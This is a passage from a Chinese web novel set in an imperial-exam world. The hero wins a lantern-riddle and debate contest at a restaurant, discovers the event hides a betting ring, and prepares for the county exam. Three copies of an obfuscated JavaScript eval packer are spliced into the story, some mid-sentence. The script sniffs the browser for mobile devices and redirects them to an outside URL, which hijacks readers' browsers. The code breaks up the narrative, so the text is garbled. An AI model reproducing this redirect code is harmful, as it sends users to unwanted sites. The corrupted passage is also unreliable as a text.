段之缙听掌柜的这样说，刚才又看到了书的内页，自然是恭敬不如从命，因而直接买下了多抄一本书，那姓郑的小哥被夸得脸色红胀，连称不敢当。 拿到了书，段之缙刚才看演义小说的兴致也没了，更想看看这本《百文汇编》究竟是什么样的神书，被这样追捧，再看一看天色，也该用中午饭了，于是拿上东西，吩咐琼香跟马夫去说一句，直接去望星楼用饭。 只是刚出门便有了意外，不知道打哪里来的一个壮汉，从一侧猛地撞过来，段之缙只感到半边身子都麻了，眼珠儿刚跟上那个撞他的男子，就见郑小哥从他身后跑出，一个跳跃把那男人压倒在地，段之缙的马夫侍从也跑过去把人制住。 一切都发生的太突然，等着人都捆好了，段之缙才回过神，想明白刚才发生了什么，再摸一摸身上，却是腰间的玉佩不见了。 “多谢多谢！”段之缙拿回玉佩，俯身向郑崑瑛拱手，“这玉佩乃是外祖所赐，实在是丢不得。鄙人姓段，名之缙，敢问尊姓大名。” 郑小哥又羞臊上了，连连摆手，“哪里哪里，都是举手之劳。鄙人郑崑瑛。” 可他这举手之劳却实在是吓了段之缙一大跳，细竹竿一样的人，那里来的力气，把这样一个汉子都压倒了？ 段之缙实在该感谢人家一下，可给钱真是不体面，又显得侮辱了人，因而热情邀请他同去望星楼，郑崑瑛说不过这个商场上死人说成活人的老手，被硬拽着去了望星楼。 望星楼不愧它的名声，无一分恢宏浩大之气，只觉是人间仙境，用的仙童仙女来照顾饮食。 段之缙报了秦先生的名字，伙计就引着他们上了穿月堂。 “鄙人今年四月才满十九岁，不知兄台？” 郑崑瑛低头并腿坐在太师椅上，先是懵懵地“啊”了一声，然后慌里慌张地回道：“痴长您两岁。” 段之缙一笑，口唤“郑兄”，亲自为他倒上了酒水。 “郑兄也是要下场科考的吗？” “正是正是，下个月的县试下场。”郑崑瑛满饮了一杯，脸一下子浮上红色，段之缙自己也喝了一杯，回道：“真是巧了，我们是同一场。” “不是同一场。”郑崑瑛回道，“段弟尚未及冠，考的是未冠题，愚兄及冠考的是及冠题，虽是同一个时间，题目也不一样。” 秦先生光顾着给段之缙讲学问了，这些事儿还没来得及说，今日骤闻此事先是一愣，又面带愧色的说道：“你瞧瞧我，下个月考试了这些事儿还不知道呢。不知郑兄能否教导我一些？” 郑崑瑛本来就是热心肠的人，自然是知无不言，言无不尽。 “咱们是在孔庙明伦堂中考试，但是不知道今年士子的多少，能遮风避雨的座位是得竞价的。还有那桌椅板凳、笔墨纸砚都要自带，一场考试要一天之内答完，官府不提供蜡烛……” 22.第二十二章 猜灯谜 郑崑瑛和段之缙二人在楼上说些应试的东西，不知不觉，时间过的飞快，楼下渐渐热闹了起来，吵闹喧哗之声冲过层层门帘屏风，一直传入耳内。 “下边是怎么了？”按理说这样的酒楼，又是这样人间仙境的风格，该不能让楼下的吵闹声传进雅间，一则是打扰了客人用餐，二则和他们酒楼的风格不适配，乱了这人间静谧之处。 郑崑瑛出声解释，“段弟不知，历年上元佳节，望星楼都会在正堂挂起无数花灯，引士子来猜谜辩论，最顶上的那一盏‘金鳞映月’是鱼跃龙门的好兆头，每年得着这个灯的士子都能在接下来的考试中高中，因而又叫做灯王。原本我今夜也是要来比试一番，看能不能得个好彩头的。” 段之缙兴起了几分兴趣，两个人一起下楼这才看清了大堂中的绝世之景。 穹顶悬着千万盏金玉灯笼，仿佛被揉碎的银河泼洒在檀木梁间。“蟾宫折桂”、“金榜题名”等常见的祝福图案也无甚赘述的必要，最巧妙的是谐音，白鹭立于莲花与芦苇丛中，这叫“一鹭莲科”——一路连科。又有和田美玉被磨成薄薄的一片，雕琢成“杏林春燕”，寓意着提灯之人能有幸（杏）去得琼林宴（燕）。 最妙的是最顶上那盏“金鳞映月”，怪不得年年都能引来无数士子争斗。它通体覆着鲛绡，鳞片皆用金箔点翠，鱼尾卷起处镶着十二枚波斯水晶，此刻被其他的灯光照着，竟在梁柱间投出蛟龙腾空的幻影，只一见，心脏都能快跳两拍。 正当大家的眼睛全盯着那些垂下的花灯时，一个身着簇新石青色长袍的老先生登上大堂中央的高台，手里挂着的铜锣猛地一敲，朗声招呼道：“今年小店还是承蒙了各位照顾，仍在上元节之际举办这花灯会，规矩同往年一样，咱们这儿的花灯分为十等共十个灯谜，你猜中一个便能拿第十等的灯笼，猜中十个便能拿第一等的灯笼，分文不取！” 这些灯笼可不是市面上拿纸糊的灯笼，各个都是真金白银，玉做的灯笼面，价值不菲。 段之缙侧身问身边的郑崑瑛道：“郑兄，这十个灯谜十盏灯笼，‘金鳞映月’该是猜中了十个灯谜便能取得了？” “非也非也！这十个灯谜都猜中了，才仅仅获得了能够争夺灯王的机会，要拿灯王需要辩论，士子们混战，最终胜出的那一个士子才能获得灯王。”郑崑瑛的话才落下，台上的老先生从宽袖中抽出一张纸条，蹙眉看了一番，展颜大笑，“今年的论题可真是不简单啊……《礼记·王制》云''刑人不在君侧''，然齐桓公用管仲，秦孝公用商鞅，此谓遵古制耶？破古制耶？” 竟然是这样啊……段之缙抬头望望那璀璨明灯，响起了之前秦先生说过的话。 好文章是怕无人能识的，若能今夜便把名声打出去，倒是好事一件。 “弟看着那灯心里实在喜欢，郑兄同我一起？” 郑崑瑛本来就有此意，两人携手走入人群中，各自找了一个伙计猜灯谜。 穿着灰白色短衣下裤的伙计从一旁的箱子里抽出一个锦囊，里边包着一叠纸。 “敢问尊姓大名！” “鄙人姓段，名之缙。” 段之缙说完，一个小童便跑了出去，再也没回来。他抬眼瞅瞅那些金玉灯盏，心中只觉奇怪。便是再有钱，这么多的人参加，这么些花灯送出去，一晚上少说几万两打了水漂，这是做买卖还是做慈善？不过，如果这店家如此做的话，倒还真是富贵险中求了……只是这个想法还需要验证，说不定人家便是大善人，要普度众生呢。 “段少爷，我们现在开始？” “请。” 伙计展开第一道题念出，“黄金玉帛镶美景，答一字。” 段之缙幼时经常在灯会上猜字谜，长大之后各地的花灯节也经常参加，字谜算是他的家常便饭，因而不假思索，“锦。”这个题也实在没什么难度。 伙计展开第二题，“范增碎玉斗，张良烧栈道，请答一成语。” 范增碎玉斗，是折碎了项羽的玉章，张良烧栈道是刘邦大义，段之缙想到此处会心一笑，“断章取义。” 这个题已经上了难度，但段之缙也是苦学之人，不会在这个题上出问题。 又接着答了四个灯谜，接连上了机关诗、对联和典故题等，一个更比一个难，看的段之缙也逐渐从一派游刃有余变得犹疑起来，不过好歹答出来了。 周围失败的读书人瞧见这里的段之缙仍在答题，三三两两地围上了，都聚精会神地看着。 第七题紧接着展开，题为：“乾三连兮坤六断”。伙计将字条递给段之缙，“客官，这要答一个卦象，卦象里还要和科举考试有关。” 段之缙苦思冥想，把脑子里的易经翻了个遍，才翻得了一点东西，最后犹疑开口，“只要能与科举考试有一点相关即可？谐音能否算？” “自然是算的。” “震仰盂中兑上缺。” 伙计问道：“这是何解？” 段之缙笑道：“震卦如盂，兑卦上缺，盂中谐音盂仲，意指乡试第二名。” 伙计点点头，又拿出了第八题，一首典籍诗，“孟坚修史继龙门，元亮种豆南山根。若将二子同列传，青史何字可留存？客官，请您答一个科举考试的内容。” 既然已经有了具体的答题方向，段之缙先把脑子中有关科举考试的名词快速数了一遍，灵光一闪道：“策论！” 伙计看一眼答案，喜笑颜开，“对对！客官能讲讲如何解的吗？”几个读书人交头接耳一番也还是不解，都竖起耳朵听。 段之缙答道：“班固字孟坚，著《汉书》重策，陶渊明字元亮，《归去来兮辞》含论，合为‘策论’。不过我这也不全是根据诗来猜的，而是先觉得‘策论’靠谱才往诗上贴的。” “即便如此，兄台之大才也叫吾等佩服啊！” 几人诚心夸赞一番，第九题紧跟着展开，伙计又打开了一张新题，笑道：“这题是一副对联，要求上联答一字，下联答一字。上联为‘黑不是，白不是，红黄更不是；和狐狼猫狗仿佛，既非家畜，又非野兽’， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955277|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下联为‘诗不是，词不是，论语也不是；对东西南北模糊，虽为短品，也是妙文’。” 又是字谜……段之缙埋头苦思，周围的人也窃窃私语，相互讨论起来。 黑不是，白不是，红黄更不是……这一句可以说明是颜色。 何狐狼猫狗仿佛，但又不是动物？难道是都有反犬旁？ 反犬旁加上一个颜色……猜！ 按照这个思路来的话，下联所说之字该有言字旁，对东西南北模糊，不就是“迷”了嘛！ 段之缙在旁人冥思苦想之际扬声道：“上联为‘猜’，下联为‘谜’，这副对联的答案就是‘猜谜’！” “对了！”那伙计看着就剩最后一道题，也跟着与有荣焉地兴奋起来，竖起了大拇哥，“客官，您真是这个！这都九道题了，说不定小的我运气，今年跟拿灯王的大才子说上话了！” 周围看热闹的人越围越多，大家嘈嘈切切，打听着这个脸嫩的小年轻是谁。 最后一题来了，伙计将题目直接递给了段之缙，提醒道：“客官，这最后一题是要对对联，没有固定的答案，但是有两个要求。第一，上联的第一个字拆开就是最后两个字，下联要同此一样。第二，上联的第二、三两个字合起来是第四个字，下联也要同此一样。” 段之缙接过纸条，好悬没倒吸一口凉气，周围凑上来的读书人看了纸条，如同滚锅泼进了凉水，沸腾的气氛一下子凉了。 上联是“妙人儿倪家少女”，若想按照要求对出来下联，这可不容易。 “李小子孙男是子……”有一读书人喃喃出声，很快摇摇头，自己否定道：“不对不对。” 另一老者摸摸脸上一把的胡子，“钟山寺峙金之城？不行不行……”刚说完，也是自己先否认了。 不过他这一句，却给了段之缙一点启发，“伙计，请问这第四个字一定要是姓氏吗？” 伙计回道：“只要能满足刚才那两个条件即可。” “那‘武士心志在止戈’可行！” 还不等得伙计说话，方才在台上宣布试题的老先生先走了下来，大赞道：“好好好！妙对！看来我们第二位十个题目都通过的才子已经出来了！不知您是否意在灯王？” 段之缙没有出声，顶着千万盏灯放出的耀眼的光往上方看去，光影璀璨之间依稀看到了一个个晃荡的人影，倚着楼上的围栏，正凝视着底下猜谜的读书人，他们的神情却如何也看不清了。 那老先生见他不出声，连忙劝道：“您可千万别犹豫，即便拿不到那灯王，也能拿一盏一等灯，价值一千两银子。若您真是大才之人，能得我们那一盏灯王，这可是价值一万两的灯！” 段之缙看了看在一楼二楼跑上跑下的伙计，心下冷笑，“怪不得年年办这个灯会啊……果然不是白把真金白银撒出去。”他招来机灵些的王章耳语了几句，王章听着他的吩咐，震惊地瞪着眼睛，被段之缙推出去办事。 段之缙这才朝着那人一拱手，“那在下便恭敬不如从命了。” 23.第二十三章 酒楼之论 段之缙应下了老先生的邀请，提着袍子走到高台上，顶部灯光更为刺眼，叫他视力晃了一下，闭目醒了醒神，这才发现台上已经站好了一个人，正是郑崑瑛。 “郑兄！早有预感能在这儿与郑兄会面！”段之缙也是见着“老熟人”了，上去拉他的袖子，郑崑瑛看着他倒是吃了一惊，他性子又直，不会虚情假意地客套，用现代话说就是没情商，竟然直愣愣地来了一句，“段弟，我是真没想到能在这儿看见你。” 段之缙并不介意，也不去深思什么，只笑着回道：“说实话，我自己也想不到啊！怎能料得有如此的造化，跟郑兄同台。” 郑崑瑛虽然不会说话，心地却是良善的，很愿意见别人好，因而此时也是真高兴，拉着段之缙说起了刚才灯谜，两个人热火朝天地讨论着，不知不觉，台上已经站定了十余个人，台下猜灯谜的活动也停了，所有人的目光都投射到高台上，等着老先生宣布开始。 老先生又砰地一下敲在锣上，原本还有些私语的台下霎那间安静下来，他脸上挂着一个春风和煦的笑，拱手施了一礼，“老朽也是长见识了，今年竟有十三位才子同登辩经台，不仅是我望星楼之大幸事，更是安平县，乃至德平府人杰地灵、学风昌盛之故。老朽，与有荣焉！” 这是做生意会说话的，一番慷慨陈词，台下已经掌声如雷鸣，读书人们也纷纷叫好，着实闹腾了好一阵。 老先生转过身来看着各位学子，“今年的辩题为：《礼记·王制》中的‘刑人不在君侧’。给诸位一刻钟时间思考，一刻钟后一声锣响，请各位分成两队，站在‘支持’和‘反对’两个木牌之前论述此题，胜利的一队揭晓下一题，做一篇文章出来，用时两刻钟，由大家评选，得票最高者即可获得我们今年的灯王！不过还需要注意，第一次说话之前还请自报家门。并且若是一句话不辩，可是直接算输的！”他说完了规则，就提着锣走到了台下，将思考的空间留给台上之人。 刑人不在君侧，出自《礼记·王制》，全文是“刑不上大夫，礼不下庶人，实际上是一种尊卑等级秩序，强调的是用过刑的人，不能再侍奉君王。简而言之，就是犯过罪的人，能不能再入朝为官，治理天下。 段之缙分析了一番，已经有了大体的思路，选对了自己的站位，等着再一声锣响，向“支持”的木牌走去，此时手上感受到了一丝阻力，回头一看，便见郑崑瑛那张有点憨气的笑脸。 “段弟，看来我们想的是一样了！”段之缙见又和这个刚认识的人一块儿，也觉得十分有缘。 两人贴着在“支持”字牌前站定，其他的士子也都选好了站位，他们这边不容乐观，共十三个士子，竟只有五个人支持。 又一声锣响，辩经正式开始。 反对者中走出一人，朝着台下施礼，“在下周知仪。”然后转向他们这小猫三两只开口道：“《尚书》云：’改过不吝，从善如流’。人孰无过？关键在于能否知错能改。若触犯刑律的人真心悔过，且有才干可为君主所用，为何要因其曾经之过错而将其拒之于君侧之外？” 段之缙这边也走出一人，朗声道：“在下夏明，敢问兄台，你能隔着肚皮看透人心吗？” “这是何意？” “字面意思，兄台如何保证这些曾经作奸犯科之人是真心悔改？” “这……”周知仪尚在踌躇，另一名为王铭和之人站出，拱手笑道：“兄台未免太过偏激了，受刑之人不仅仅只有作奸犯科之人吧？若管仲之人，若说他为作奸犯科，不若说他选错了孝忠之主上，也算是食君之禄，忠君之事。连圣人也说过，‘微管仲，吾其被发左衽矣’，我们这些人，都要成为蛮夷了。齐桓公不计前嫌，任用管仲为相，这才有了齐国的强大，成为春秋一霸。再有，若如孙膑、太史公之人，若如兄台之言，岂不是应当不见天日才好？” 他这一番大论，引得台下之人连连点头，拍手称赞者亦不胜枚举。 与王铭和观点相同之人乘胜追击，几乎要将这辩题说到极尽之处，再也没有能够辩论的余地。而支持“刑人不在君侧”的士子们一个个冥思苦想，似乎已经认输。 段之缙已经听完了那边的观点，组织了一番言辞正要开口说话，旁边的郑崑瑛先上前一步，“在下郑崑瑛，敢问对面的兄台，刑人为何意？” 此言一出，哄堂大笑，之前有一位名为“刘荣庆”的士子出列答道：“刑人，有三解。一解为触犯过刑律之人，一解为受过肉刑之人，还有一解是指宦官，因受过宫刑，所以称之为刑人。” “想必兄台是极为愿意和宦官一起同朝为官的了？” 刘荣庆仿佛受了奇耻大辱，脸胀成猪肝色，振袖一挥，怒道：“岂有此理，宦官怎能干政！你不要在此地说笑！吾等所指的刑人，定然不是指宦官！” 郑崑瑛了然地点头，“那一定是指触犯过刑律之人，或是受过肉刑之人了？” 对面的人互相商量一番，最终还是点点了头，不过仍是补充了一句，“并非大奸大恶之人。” “何种为大奸大恶，何种不为？何种肉刑不是因触犯律法而实施的？” 对面的人哑口无言，王铭和思索了一番，出来回道：“生民所触犯的律法，也要分为两类，一类是如杀人、纵火、强盗等，谋财害命或是反抗朝廷，这人心里都黑透了，不可再用。还有一类却是如管仲之罪，虽也是罪过，但并非谋财害命、并非悖逆君主，只能说是各为其主，其情可悯。像这般人，若是有大才，为何不能常伴君侧？” 郑崑瑛正在思考时，段之缙终于开口，“在下段之缙，敢问兄台，管仲是无罪之人吗？” 王铭和仍是那一句话，“其情可悯。” 段之缙失笑，“临阵脱逃，是否为罪过？想要射杀齐桓公，我们先不论齐桓公的贵族身份，他想要杀人，是否为罪过？” 王铭和：“自然是罪过，但管仲有大才，司马贞曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958964|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞许他和晏婴二人，‘夷吾成霸，平仲称贤。’即便私德有亏，比起他们的功绩，这也不算什么吧？” “兄台这就是后人之见了，请问齐桓公留下管仲之时，能够预见管仲能助他为春秋一霸吗？临阵脱逃，对军前士气的打击，难道还要我为兄台细言吗？管夷吾为助其主上称王，使得公子纠险些以兄杀弟，造成人伦惨剧，这也是其情可悯吗？” 对面的王铭和垂首不言，台下之人或点头赞同，或撇嘴表示不屑，各有各的想法，有着急的人大喊出声，催着王铭和应答。 段之缙乘胜追击，“在下细思兄台之言，不过是应了‘刑人不在君侧’的前一句话，‘刑不上大夫，礼不下庶人’。管仲为一代名臣贤相，即便是犯了罪也有兄台等为其辩白，道一声其情可悯，若此人不叫管仲，名为张三、李四、王五，兄台还能说一句其情可悯吗？还是恨得咬牙切齿，称之为临阵脱逃、悖逆人伦之大奸大恶之人？孰不知秦之强，正在于‘法不阿贵，绳不挠曲’。” “好！”这一番论述叫众人议论纷纷，拍手叫好，段之缙朝着台下再施一礼，回到原处站定。 这一回，这论是真辩完了，对方哑口无言，垂头丧气，这边有一个士子还没来得及说话，可现在理已然说尽，他也是自尊自重之人，断不会现在插上一些口水话，保住自己的名额。 老先生再次敲响了铜锣走上辩经台，这一场辩经就到此结束。 “真是大开眼界！”他弓腰朝着台下大声疾呼，“果然英雄出少年啊，本以为反对者人多，赞成的小友们该有一番苦战，然后力有不逮败下阵来，没想到反败为胜，赢下了这一场辩经，真真是叫老朽我开了眼界啊！” 底下人也不断欢呼，明明是寒冬腊月，虽说南方不如北地干冷，但也是湿寒难耐，此时的楼内却是一片热气腾腾，连着顶上的花灯都在旋转，“金鳞映月”的灯王闪耀出那一条蛟龙，在雕梁画栋间飞舞穿梭，震荡人心。 “现在辩经台上还留下四人，正是段之缙小友，郑崑瑛小友，夏明小友和钱治平小友。下一个题目为‘重本抑末’，只不过此次题目要求是，写文以驳斥‘重本抑末’！” 老者尚没有说完，底下一片哗然，“重本抑末”是圣人教训，道理已经说尽，不应再辩了，况且这是朝廷政令，也轮不到他们这些没有官职的读书人在此大放厥词。 底下已经有人心惊胆战，怒嗔道：“你们这是什么意思？‘重本抑末’乃国法，岂能驳斥！” 老者哂笑,“大家先不要着急嘛，这是县令大人出的题目，最后的文章不仅要给各位看，还要呈给县令大人看呢！不过，若是台上诸位不敢，那可自行下台，只可惜今年的灯王，恐不能归于贤才了……” 段之缙是为求名，既然文章能给知府看，他自然愿意。郑崑瑛是奔着好彩头来的，自然也不会下台。夏明也是为了这盏灯来，那钱治平却不敢做此种“悖逆”之文，大袖一挥走下高台。 24.第二十四章 如今台上只剩下了三个人，一个段之缙，一个郑崑瑛，一个夏明，每人都要在两刻钟内做出一篇文章，专门驳斥“重本抑末”。 这题目说来简单，似乎只要驳斥即可，但问题在于这些书生苦读多年，学的就是“重本抑末”、“重农抑商”的道理，已经吸烟刻肺不容辩驳了，如今叫他们违背自己的内心写一篇驳斥之作，谈何容易？便是段之缙这种没有思想钢印的人也不容易，原因很简单，你得用四书五经来驳斥四书五经，自由发挥只会被打出去。 段之缙仔细回想了这几个月学到的知识，将有关商业的内容都挑拣了出来，思考了大概半刻钟，这才下笔。先拿朱子的言论起头，说明先哲并没有否认商业的作用，然后讲《中庸》里的“万物并育不相害”，可以说明“农”“商”二道并非是对立存在，完全可以共同发展。最后用孟子“通功易事，以羡补不足”之语结尾，说明商业的价值，义利统一的理念。 他下笔如飞，在一声锣响前仅剩的不到二十分钟里写了六百余字出来，卡紧了最后一刻停笔，最后吹干笔墨，将文章交上。 其实此刻，最终胜利者是谁，大家已然心中有数了，就在段之缙和郑崑瑛二人中出，只因夏明思考的时间太长，没有在规定时间内做完文章，已经悻悻地走下辩经台。 那老先生先接过了郑崑瑛的文章，捻须品读一番，大喊三声，“好！好！好！”他对翘首以盼的众人赞道：“这位小友当真是了不得啊！待老朽为诸位念来。” 老先生是有几分功力在身上的，文章读得抑扬顿挫，动情处似雨打芭蕉，珠玉迸溅，五分的文章也能读出来十分的妙处，更何况郑崑瑛的文章本就如高山流水，一泻千里，其笔力之深厚，不是段之缙能及的。 但是郑崑瑛还是输了，原因就出在题目上，“重本抑末”之政虽有种种缺陷，可要想写好，便一定要真心觉得“重本抑末”为弊政，这才能找出其不足之处，论得有理有据。可惜，在场的诸位读书人，恐怕也只有段之缙一人是真心在抨击“重本抑末”，辞藻虽不如郑崑瑛瑰丽非常，读出来也是金声玉振，激荡人心，说理也十分透彻。 待老先生读完了段之缙文章，台下读书人已经围绕此文展开了激烈辩论，一时片刻竟然也停不下，还是老先生敲了一声锣鼓这才安静下来。 “老朽活到了这把岁数，驳重本抑末还能驳得头头是道的读书人还是头一回见，果然了不得。敢问小友是哪里人氏？” “在下是京城回原籍参加县试的读书人，不值一提。” “小友太谦虚了。今年这盏灯王非小友莫属，价值万两。老朽先在这里提前恭贺小友县试得中了？” 段之缙道谢，将取下的“金鳞映月”递给了已经兴奋到满脸通红的琼香，然后装作不经意地问道：“老先生，您一晚上送这么多灯出去，得多少钱啊？” 那老者自得一笑，“十等的灯做五百盏，依次递减五十盏，灯王一盏，总计白银十万两，只多不少。再加上举办活动的耗费，一晚上还要再加一千两，总计十万一千两白银！”此话一出，一片哗然，都对此大手笔瞠目结舌。 “你们主人家一定是巨富，不依靠酒楼赚钱，才能如此慷慨，每年撒这么多的真金白银出去。” 段之缙只不过吐了一句平常话，老者笑容却僵住，讪笑道：“我们主人家感念这么多年来诸位的照顾，这才花此重金为大家欢快一晚，也是附庸风雅之意，倒是没有别的产业，用的都是每年酒楼的收益。” 读书人们纷纷称赞酒楼老板的慷慨大义，段之缙但笑不语，待灯一个个取下后，他再次抬头向楼上望去，之前模模糊糊的身影已经消失不见，似乎从来没人来过。 怎么，看热闹的人，热闹还没有看完就走了？未免太奇怪！即便是现在没了比试，也不该走的一干二净啊。 再者那老者的话里也是漏洞百出，十万两银子可不是小数目，一个再高端的酒楼，他又不提供住宿，又不是连锁，如何能一年赚出来十万两银子？即便全是达官贵人来用餐，他一年赚出来了十万两，如何就真的那么慷慨，一夜之间全送出去？ 这到底是赚钱，还是在做慈善…… 一个想法亟待验证，段之缙不做停留，和郑崑瑛告别后匆匆走向自己的马车，也没有看见大堂西北方隐蔽的角落里，他的授业恩师秦先生正陪着一个中年男子吃花生米，还时不时地喝两口小酒。 “怎么样？我这个徒弟不错吧？”秦先生自得道。 “马马虎虎，脑筋转得倒是挺快，文章可不如郑崑瑛。” 秦先生呸了一声，假嗔道：“偏你挑三拣四，缙儿文章也就是只次于郑崑瑛罢了，比之其他人还是要略强些滴。” 对面那人摇摇头，“你没忽悠我吧，他真是全忘了之后才又学了七个月？” “咱们俩啥交情？我忽悠你能得什么好处？” “那他也只是占了脑子活的好处，科举没有一场会叫你驳斥‘重本抑末’。” 秦先生嘬了一口小酒，“你就说他这样的能不能得中吧。” 问到了关键处，对面的人却不说话了，一个劲儿地劝酒，秦先生也不强要一个答案，两人仿佛无事发生，一杯接着一杯地喝。 那边段之缙已经走到了马车旁，王章一脸正色地点头：“不出二爷所料，这家酒楼就是在开设赌场。小的出去之后，见有几个打扮极为类似的人往返来回于酒楼和对面的茶馆之间，不像是正经的客人。后来小的见一个中年男人被扔出来，给他使了五两银子，他说里边在设赌局，赌谁能赢得灯王。” 果然如此！段之缙心下冷笑，又问道：“刚才你可曾见酒楼中出来一些锦衣华服之人？我总觉得这望星楼楼上也应当开设了赌场。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964848|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王章连连称是：“外边的光不那么刺眼，小的看得清楚些，那楼上好些老爷呢。之后小的爬上了那棵老槐树往里头望，一块木板上用白垩写了好多人的名字，那些老爷指指点点，猜着应该是在下注。但是他们都不曾出来。” 怪不得啊怪不得，上来就先问问你姓甚名谁，那小童知道了答题者的名字跑得比兔子都快，原来是赶着传递消息去了。还有那老先生，人家参不参加最后的比试和他有什么关系，倒是先急了。 原来是少一个人参加就少一个赌注，少得一笔银子。 开酒楼，一年辛辛苦苦的，能赚几个钱。不如开赌场，他一晚上下十万的本钱，引得楼上那些人做一场风流豪赌，不知能套出来多少的银子，也只有这才是一本万利的买卖，比酒楼来钱快多了。 怨不得人家说，赚钱的法子全写刑法典里呢，到了古代也是，能赚钱的路子都在《大雍律》里头。 只可惜这些天真的读书人，还不知道花灯绚烂的灯光之下，满是蛆虫和烂泥，达官贵人把他们当成赛马场里的马，在这儿试脚力呢…… “拿好了这价值不菲的金贵东西，咱们回王家吧。”段之缙淡淡地吩咐，哪怕得了这盏灯也无甚了不起的，可恨自己今日当了一匹“好马”，不知道叫多少人一夜暴富，又叫多少人家破人亡。 马车从哪里来回到哪里去，王家人已经接到了消息，得知段之缙过五关斩六将，竟然得到了今年望星楼的灯王，一个个都兴奋的得睡不着，王老爷更是直接把他叫去了正堂，说是要问些话，实际上只是要稀罕他一番。 王元浩满意地捻着自己的胡须，“英雄出少年啊，你小小年纪，还尚未及冠就能取下来这盏灯王，我看今年县试和府试，乃至明年院试的案首都得你来做了。” “外祖父过誉了，缙儿能有今日，都离不开母亲和秦先生的教导，也离不开外祖多年的支持。” 高帽子一带上，王元浩就哈哈大笑，“也是你争气！像你的那些舅舅、表兄弟，一个个都是蠢材，便是请了名师来教导，也没什么长进。” 话说到这个地方，段之缙可不能接了，他端坐着喝水，只当自己没听见，问起了今天望星楼的事情。 “外祖父知道望星楼的主人吗？” “知道些，他似乎是十几年前从京城来的，身后背景大着呢。” “从何说起啊？” 王老爷饮一口清茶觑他一眼，“问这作甚？” 段之缙掩饰地低下头，貌似无所谓地回道：“只是惊叹他们每年拿出来十万两银子打水漂，未免太过豪横了些。” 王元浩哼笑一声：“这里边的水深着呢……十几年前，望星河边的望星楼可不是这一座，原先是一家六口在经营，祖上传下来的，朝代更迭都没让战火淹了，结果京里的那些人一来，这一家六口就不知往何处去了。” 25.第二十五章 参加县试 外祖所暗示的那些深水潭中隐藏的冤情，段之缙记在心中却也无可奈何，目前而言，最大的事情就是一个月之后的县试。 倘若县试中了，一切好说，便是之后的府试没中也算有了个交待。 倘若县试没中，段之缙又有何面目去见同他一起苦熬了七个月的先生，又如何回京去见太太，见姨娘和蘋儿呢？因而在县试时间公布前抓紧了每一分每一秒，除了吃吃睡睡就是“之乎者也”，不敢放松分毫。 县试的时间是于正月二十一日公布的，因今年比往常冷些，所以考试时间也推的晚，二月二十三日才考，正好考四日。 这天里，秦先生刚得到了消息便催他去县衙报名，省得误了时辰。 段之缙听着秦先生的叮嘱，突然一怔，问道：“先生，我等会在县署礼房报名后，是当场抓五个人互结吗？” 秦先生脸上几乎要掉下黑线，无语道：“等着你想起了这个事儿，黄花菜都凉了，先生早已经为你安排好，都是你外祖家资助的士子，正好你们五个互结。廪生孙九思先生为你们保结。” “可我不认识他们啊？” “琼香认得，带着琼香一块去。”说到此处，秦先生还十分恨铁不成钢：“你长着一张嘴，便是都不认得，就不能张嘴问问吗？！老大不小的一个人了，怎得如此稚气？” 段之缙尴尬地摸摸鼻子，这也实在不怪他，这七个余月，几乎没跟外人打交道，天天泡在书堆里，脑子木一些很是正常。 等到了署礼房，堂内已经乌乌泱泱全是人了，琼香领着段之缙往西北角走，果然见四个人聚堆凑在一起，一见琼香便笑着迎上前。 “老爷们，这是我们二爷段之缙，此次考试与老爷们互结。” 段之缙拱手施一礼，对面的四个士子也客气地回礼，“久闻兄台大名，当日上元佳节，兄台所作雄文我等自愧弗如啊。” “哪里，都是班门弄斧罢了，登不得大雅之堂。” 这几人客气一番，又去找了孙九思先生，这才一同进入堂屋，当场填写姓名、年貌和三代履历，交纳了卷价钱后，直接各回各家。等着再一次相见，却是县试当日了。 前一日段之缙早早睡下，子正时分就被催着叫起，琼香和王章二人为他梳洗了一番，又把笔墨纸砚收拾妥当，这才乘上马车来到孔庙明伦堂，县试正是在此地进行。 王章和琼香二人分明比段之缙小，现在却跟两个哥哥一般，一个接一个地把秦先生叮嘱的事情又重申一遍，最后把几张银票塞到了段之缙怀中。 “二爷，今年考试的人多，明伦堂内坐不下，衙役们等会儿分座位时您好好看着，好的座位是堂内正中间的那个。四周都是人，能挡着风，又离着前边供给圣人的香火远，呛不着。等着衙役们叫卖的时候，您就出价，多少银子都出得起。” 县试一向是乱得很，连个考号都不排，坐哪全凭衙役的心意，反正县令老爷等着人都坐好了才来。便是他提前来了也不会阻止，因为大家都指着这笔钱穿衣吃饭呢。 段之缙也不是什么愤青，没必要在一穷二白之时和这些有所依仗的人对着干，接过王章背上的小木箱就进了场地，等着衙役们点名排队入内。 